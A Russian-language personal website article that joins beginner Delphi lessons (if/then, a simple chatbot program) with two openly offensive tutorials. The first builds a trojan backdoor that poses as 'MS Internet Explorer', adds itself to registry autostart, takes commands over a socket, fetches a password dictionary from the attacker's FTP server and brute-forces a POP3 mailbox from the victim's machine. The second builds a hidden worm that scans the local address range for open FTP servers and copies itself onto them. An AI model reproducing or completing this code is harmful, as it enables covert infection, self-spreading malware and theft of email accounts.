Категории каталога

Мои статьи [13]
Статьи для программеров [10]
В помощь программисту))
Мануалы [0]
Описания к программам
Биографии DJ [0]
Диджеинг [0]

Форма входа

Приветствую Вас Гость!

Поиск

Наш опрос

Оцените мой сайт

Всего ответов: 106

Статистика

Главная » Статьи » Мои статьи

осваеваем дельфи
Вернёмся в прошлое.
Итак давным давно когда только появились первые программисты и компьютеры были размером со шкаф ,все программы писались на машинных кодах. Тогда не было не компиляторов, не каких то языков которые смогли бы хоть как то облегчи им жизнь и всё приходилось писать числами Но программисты шли вперёд и вот появился первый компилятор который назывался Assembler. Вот тогда и появились споры которые по сей день идут - "Какой язык лучше"!По этому поводу было много споров да и сейчас они остались, но об этом позже. Потом появился и basic и c, и многое другое. Кто-то кричал на одном языке лучше и быстрее другие кричали что их язык лучше и качественнее и вот сейчас языков полно выбирай какой хочешь.

Возвращаемся в наше время
Любой человек который решает заняться программированием, сталкивается с такой задачей как выбор языка. Многие начинают спрашивать у всех какой язык лучше , я повторяю ещё раз ответа на этот вопрос нет так как все языки имеют плюсы и минусы. Я не буду приводить примеры плюсов и минусов, потому что это долго и когда вы изучите языки то поймёте , всё сами. Я буду рассказывать о таком прекрасном языке как DELPHI.

Подробнее о Delphi.
Многие наверно знают что Delphi - это очень древний город на берегу какого-то залива от которого сейчас остались только развалины. И конечно это ещё и одна из самых популярных, современных систем для разработки программ. Многие считают что Delphi тот же самый Pascal. Ошибаетесь, со временем в Delphi, код становился новый и Pascal почти что и не остался в Delphi, хотя и делфи построен на базовом языке паскаля... Delphi - это великий язык! Он собрал все, множество различных инструментов и готовых компонентов. Плюйте в лица тем, кто говорит, что делфи - это я зык ламеров. Это говорят только те кто и есть ламеры!
Простые программы - это просто.
Ну как, разобрались с командами прошлого урока и поняли что они значат? Ну на всякий случай давайте вспомним и разберёмся что они означают. Вот допустим
Butto1.Caption:='Привет';
ну это понятно наверно при нажатии на кнопку меняеться имя указанное на ней.
Button1.Top:=10;
ну а это кнопочка улетает так же можно использовать лево, право, вниз, только немного надо знать англиский. Ну что, может напишем что нибуть новенькое? Да, пожалуй попробуем.

Вернёмся к класике.
Давайте чётко разберём то, что мы хотим написать и что наша тулза должна делать. Есть такой оператор во всех языках программирования if...then ну может слыхали где-нибуть.В переводе это выглядит так (Если ....то) ещё к этому оператору добовляют else то есть другое действие. Давайте разберём немного поближе к программированию "if условие then условие else другое условие". Так мы и будем записывать программный код.Наверно у всех возник вопрос что за другое условие после оператора else оно произойдёт лишь тогда когда условие после оператора then выполняться не будет.

Пример 1.
А теперь практика.Давайте разместим на форму кнопку Button1 теперь двойной клик и пишем. Я напишу сразу что должно получиться а потом всё обьясню. Не забудте писать код между begin и end; ну так вот как должно быть написанно у вас.
if Button1.Width < 100 then
Button1.Width :=Button1.Width+10
else Button1.Width :=Button1.Width div 2;

Я думаю хватит пока с кодом, теперь пояснение.Блин люди извините что забыл на каждой строчке после кода можно пояснять эту строчку //и теперь после слэшов пишем пояснение чтобы не потеряться и не забыть если что ну это по желанию. Прододжим с пояснением давайте переведём нашь код на человеческий язык. Это будет выглядит примерно так "Если ширина кнопки меньше 100 то увелисить её на 10, в противном случае уменьшить её примерно в 2 раза" - надеюсь это понятно.Запустите программу кнопкой f9 и по-эксперементируйте. Всё попробовали? Теперь вернёмся и поясним некоторые деталей.

if,then,else,div - ну это служебные слова которые выделяет делфи автоматом для наглядности, ну и ещё выделения помогают найти ошибки. Если вдруг в каком-то из этих слов пропустить букву то выделяться оно уже не будет и конечно сообщит об ошибки. Запомните что такие операторы всегда выделенны(не советую называть допустим кнопку в столбце свойств name словами операторов а то делфи не поймёт:)) Ну писать эти операторы можно писать как прописными так и строчными буквами.
Наверно иннтересно что такое div в нашей программе. Ну это операция целочисленного деление.

Урок 3. Собеседник - это просто

-----------------------------------
Сегодня мы создадим простого собеседника используя оператор предыдущего урока - if...then. Так называемый собеседник будет разговаривать по правилу один вопрос - один ответ. Создадим на форме окно для ввода текста. Оно находиться на вкладке Standart компонент называется Edit1(здесь мы и будем задавать вопросы). Разместим его на форме. Раздвиньте его на форме так, чтобы в нём могло поместиться предложение. Слово Edit1 в этом окошке нужно убрать для этого в поле Text(текст) в паспорте данного компонента удаляем содержимое. Для ответов собеседника используем компонент Label1. Он находиться тоже на вкладке Standart. В паспорте объекта в поле Caption опять же всё стираем и можем подобрать характеристики шрифта какие нам нравятся в строке Font. Для того чтобы наш собеседник понимал, что мы говорим разместим обычную кнопку на форме (Button1 вкладка Standart). Называем её так как нам нравиться. Двойным кликом на кнопке переходим в код нашей программы и попадаем в Unit1.Мы попадаем на такую процедуру

procedure TForm1.Button1Click(Sender: TObject);

begin

end;

end.

Как всегда пишем код между Begin и end; Поехали! Текст в итоге будет выглядеть так:

procedure TForm1.Button1Click(Sender: TObject);

begin

if Edit1.text='Привет'

then Label1.Caption :='Привет как дела!'

end;

end.

Жмем кнопку f9 и проверяем работу нашей программы. Пишем "Привет" и получаем ответ "Привет как дела!". Во время тестирования у вас могут появиться в олне естественные вопросы.
Почему он не реагирует на фразу "привет" написанную маленькими буквами???
Этот дефект программы можно устранить несколькими способами, но мы будем придерживаться одного. Он не реагирует на фразу так как мы не задали её для понимания. Вообще нам сложно это понять но компьютер жуткий -формалист и всё воспринимает буквально. Можно расширить кругозор нашего собеседника, например ,заменив прежнее условие условием более универсальным.

if(Edit1.text ='Привет!')or

(Edit1.text ='Привет !')or

(Edit1.text ='Салют!') //и так далее можно продолжать вариант вопроса

then label1.Caption :='Привет как дела!'

Теперь он будет отвечать "Привет как дела!" на все наши вопросы которые мы указали выше. После последнего вопроса в данном случае (Edit1.text ='Салют!') не ставиться служебное слово “or”. Если мы поставим, то программы будет кричать об ошибках.

Усовершенствуем программу

Перед словом begin нашей процедуры
procedure TForm1.Button1Click(Sender: TObject);

напишем следующий текст.
Var

s :string;

То-есть выглядеть должно так.

procedure TForm1.Button1Click(Sender: TObject);

var

s:string;

begin

……..

end;

Что это такое? Вполне логичный вопрос. В нашей программе var обозначает специальный раздел в который мы должны описать переменные которые мы придумали и которые пока ещё не известны Delphi. Прочитав их компьютер выделит для хранения значений каждой переменной некое хранилище - одну или несколько ячеек памяти в зависимости от типа переменной который указанно после двоеточия. И так же это гораздо облегчит нам процесс написания программы потом вы сами в этом убедитесь. Тип string означает что компьютер будет иметь дело со строчкой символов. После того как мы представили Delphi нашу переменную s ей нужно присвоить какое то значение. Это значение будет выглядеть так
s:= Edit1.text;
. Его нужно вписать в нашей процедуре после begin, перед тем как начать описание диалога. Теперь везде где нам надо написать Edit1.text нам достаточно написать одну букву s. В итоге код всей программы выглядит так.
unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

Edit1: TEdit;

Label1: TLabel;

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

var

s:string;

begin

s :=Edit1.Text;

if s ='привет'

then Label1.Caption:='Привет как дела!';

if s ='Как тебя зовут'

then Label1.Caption:='Rafik';

if s ='Кто тебя создал'

then Label1.Caption:='Rafik';

if s ='сколько тебе лет'

then Label1.Caption:='незнаю';

end;

end.

Brute-force backdoor на Delphi

-----------------------------------
-----------------------------------
Автор:Kuzya
Здорова! Сегодня я расскажу как написать одну “полезную” J программку. Я её решил назвать Brute-force backdoor. Может идея и не новая, но я решил написать данную статью из-за того, что не видел похожих, на неё, статей. Кстати всё только для ознакомления ну и бла-бла-бла в том же роде.
Начнём с главной цели этой программы: подбор пароля к указанному, программе, ящику. Тебе, наверное, уже приходилось пользоваться брутом для подбора пароля к e-mail’ам или ftp-серверам. Принцип программы основан, в первую очередь, на безопасности атакующего и освобождения времени, которое может потребоваться для подбора пароля к ящику. Наша прога будет действовать следующим образом: инфицировав машину пользователя, она будет ждать от хозяина команды на закачку словаря с паролями и команды для начала подбора пароля. Таким образом, брут производится с машины заражённого юзера – это скроет тебя, уменьшит расход трафика и освободит тебя от лишней мороки. ВНИМАНИЕ!!! Здесь я не буду описывать полную рабочую версию программы, здесь я опишу основной скелет, я просто хочу чтоб юные кул-хацкеры хоть немного поработали мозгами и отшлифовали прогу до блеска сами.
Итак, начнём. Нам понадобится Delphi (я писал это на Delphi 6) и любой фтп-сервер.
Начни новый проект, и размести на форме следующие компоненты – NMFTP(находится на закладке FastNet) и ServerSocket(закладка internet).Так-же размести вторую форму и назови её BruteForm. Затем зайди в свойства проекта (Project => Options) и в закладке Forms найди 2 списка - Auto-create forms и Available forms, в первом списке будут твои две формы(Form1 и BruteForm), тебе надо перенести обе формы в список Available forms.
Имена компонентов не меняй, оставь как есть – NMFTP1 и ServerSocket1. Свойство port, у ServerSocket1, поставь какое нужно тебе – это порт на котором будет висеть бэк-дор.
Затем у компонента NMFTP1 измени все свойства (port, address(если надо то и проксик вбей)) на свойства которые нужны для подключения к твоему ftp-серверу(очень желательно чтоб он находился на каком ни будь бесплатном хостере).
Сначала напишем само ядро бэк-дора:
Добавь в используемые модули (В редакторе исходного кода, после надписи uses идут используемые модули) модуль Registry (Он понадобится нам для записи бэк-дора в реестре для автозагрузки). Далее создай обработчик OnCreate главной формы. И между begin и end впиши следующие строки:

Application.Title:='MS Internet Explorer';

// Назначается заголовок любых окон появившихся от твоего бэк-дора

// Вдруг возникнет какая ни будь ошибка и Юзер увидит заголовок Project1

// или что-то типа того.

// Тогда он что ни будь заподозрит, а вот заголовок MS Internet Explorer

// Ничем не насторожит J

// Затем прописываемся в реестре:

RegIni:=TRegIniFile.Create('Software');

RegIni.RootKey:=HKEY_LOCAL_MACHINE;

RegIni.OpenKey('Software', true);

RegIni.OpenKey('Microsoft', true);

RegIni.OpenKey('Windows', true);

RegIni.OpenKey('CurrentVersion', true);

// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла

RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);

RegIni.Free;

// Делаем сокет активным

ServerSocket1.Active:=true;

Если попробуешь собрать сейчас, то у тебя ничего не получится, чтоб всё работало надо объявить переменную RegIni типа TRegIniFile, для этого напиши над begin следующие строчки:

var

RegIni:TRegIniFile;

Затем у ServerSocket1 создай обработчик события OnClientRead и над begin и end напиши:

var

command:String; // обьявляем переменную command строкового типа

Затем между begin и end напиши следующий код:

// Указываем что переменная command это текст полученный из сокетов.

command:=Socket.ReceiveText;

// Указываем что делать если пришёл текст upload

if command='upload' then

begin

// Компонент NMFTP1 пытается соединится с сервером

// который ему указал ты

// кстати! Вот тут и может вылезти ошибка (если ты не правильно указал адрес

// или произошёл сбой при подключнии) но ведь Юзер увидит что это ошибка

// вызвана MS Internet Explorer J и мало чего заподозрит J

NMFTP1.Connect;

// Если компонент NMFTP1 подключился то

if NMFTP1.Connected then

begin

// закачиваем файл dictionary.txt(файл с паролями) из корня фтп-сервера

// и сохраняем его под тем же именем под каким и скачали

// Первый параметр – это имя скачиваемого файла, а второй параметр указывает

// Под каким именем сохранить скаченный файл

// Сохранение происходит в той же папке где лежит трой

NMFTP1.Download('dictionary.txt','dictionary.txt');

end;

end;

// Если пришло слово brute то активировать форму BruteForm

if command='brute' then

begin

// собственно, активируется форма BruteForm

Application.CreateForm(TBruteForm, BruteForm);

end;

Можно было бы вписать код брута в этот - же unit но мне это не понравилось из-за большого кол-ва кода, у каждой формы есть свой unit и ИМХО так легче работать т.к. нет возьни с гигантскими кусками кода. Затем переключись на форму BruteForm, на ней размести компонент idPOP3 (закладка indy clients), назови его idPOP и создай обработчик события OnCreate для BruteForm. В обработчике события, перед begin напиши следующий код:

Var

// Создаём переменную PassStrings типа TStrings;

PassStrings:TStrings;

// Создаём переменную j числового типа.

j:Integer;

Между Begin и End; пишем:

PassStrings:=TStringList.Create;

Try

// Пытаемся загрузить файл dictionary.txt

PassStrings.LoadFromFile('dictionary.txt');

Except

// если файл загрузить не удалось то останавливаем работу программы

exit;

// ВНИМАНИЕ!!! Оператор exit не закрывает прогу, а просто останавливает её //работу!!!

end;

// Начинаем цикл от 0 до кол-ва строк в словаре - 1

for j:=0 to PassStrings.Count-1 do

begin

//Присваиваем пароль из строки с номером j

IdPOP.Password := PassStrings.Strings[j];

Try

//Пытаемся коннектится

IdPOP.Connect

Except

// Если соединится не удалось (не правильный пароль) то ничего не делаем,

// Цикл повторяется пытаясь зайти под следующим, в файле, паролем

end;

// Если коннект удался (пароль подобран)

if IdPOP.Connected then

begin

///////////////////////////////////////////////////////////////////

// Тут пишите свой код с помощью которого вам с

ообщится что пароль подобран///

////////////////////////////////////////////////////////////////////

// Отключаемся

IdPOP.Disconnect;

// Останавливаем программу

exit;

end;

end;

Для того чтобы окно программы было невидимо зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:

var

WhEvent:THandle;

begin

Application.Initialize;

ShowWindow(Application.Handle, SW_HIDE);

Form1:=TForm1.Create(nil);

Application.Run;

WhEvent:=CreateEvent(nil, true, false, 'et');

while (true) do

begin

WaitForSingleObject(WhEvent,1000);

Application.ProcessMessages;

end;

end.

Чтобы скомпилить прогу не запуская её просто нажми ctrl+f9 и экзэшник соберётся не запускаясь.
Теперь давай напишем клиент к нашей пакости J.
Создай новый проект, размести на нём компоненты ClientSocket1, Edit1, Button1 и Button2.
В свойстве port – напиши порт твоего бэкдора.
Caption у кнопки1 замени на upload, а у второй на brute. Теперь нам надо всего-лишь создать обработчики событий OnClick – для первой кнопки(upload) и для второй (drute)
В OnClick первой кнопки напиши:

// Указываем IP жертвы(IP вводим в поле Edit1)

ClientSocket1.host:=Edit1.Text;

ClientSocket1.Active:=true;

// Отправляем команду upload

ClientSocket1.SendReceiveText(‘upload’);

Написание сетевого червя на Delphi.

-----------------------------------
Раздел: Уроки по программированию
Раздел созданный специально для начинающих программеров!
Группа: Delphi
Просмотров: 2993
Версия для печати:
31/12/2005
-----------------------------------
Здарова! Давай сегодня напишем своего сетевого червя? Тебе по любому хотелось иметь такую зверушку! Сегодня я тебе в этом помогу! Писать мы будем на Delphi6. Наш червь будет распространяться через ftp сервера с анонимным входом. Итак, поехали! Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк
public
{ Public declarations }
end;
в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.
Давайте пропишем червя в реестре:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
Чтоб он автоматом загружался при запуске системы.
Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части.
Выглядеть она у тебя должна так:
var
Form1: TForm1;
ip1st,ip2nd:string;
Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции(Назовём её GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
Данная функция определит IP зараженной тачки и вернёт его нам в виде строки.
Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:
function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки
var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое число IP
piece:=ip;
// Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP)
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Далее всё идёт по такой же схеме
//2-ое число ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;
Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:
var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).
my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому подключон
// заражённый комп
// Даём приложению проработатся
Application.ProcessMessages;
// Начинаем сканить на открытые ftp
// Цикл идёт от 1 до кол-ва строк в scan_ip_list, где хранится наш список ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// Присваиваем параметру host – значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_ip_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в список ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
// Снова даём проге проработатся
Application.ProcessMessages;
// конец скана на открытые фтп
end;
После этого в переменной ftp_list имеется весь список ip на которых открыт 21-ый порт.
Далее нам нужно распространить копии червя по всем имеющимся в списке ftp-серверам.
Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию.
При коннекте нам передаётся список главной директории. Получить его можно с помощью следующего кода:
NMFTP.NList;
//Далее создаём обработчик события OnListItem
// и в нём пишем следующую вещь
[имя_списковой переменной].Add(Listing);
После этого в переменной будет лежать список папок и файлов. Тут может возникнуть трабл с закачкой червя на ftp т.к. не в каждую папку может быть разрешена запись.
Проверить это можно следующим образом: попробовать залить в корневой каталог, если не получится то начать цикл в котором будет браться строка с именем папки/файла. Далее меняем папку на ту, которую взяли из списка, если ошибка(это может быть файл) то идти дальше, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на следующую фтп’шку и проделываем то же самое.
Папка меняется кодом NMFTP.ChangeDir(имя_папки);
Закачка файлов происходит следующим образом:
NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’);
Теперь надо скрыть главную форму от глаз пользователя, делается это следующим образом:
Зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
Если поработать головой, то можно за 30 минут написать червя который ещё и все папки .найдёт, на фтп, в которых запись разрешена
Вообщем дерзай! Удачи!

Категория: Мои статьи | Добавил: clubdance (2007-05-06) | Автор: vlad
Просмотров: 927 | Рейтинг: 5.0/1 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]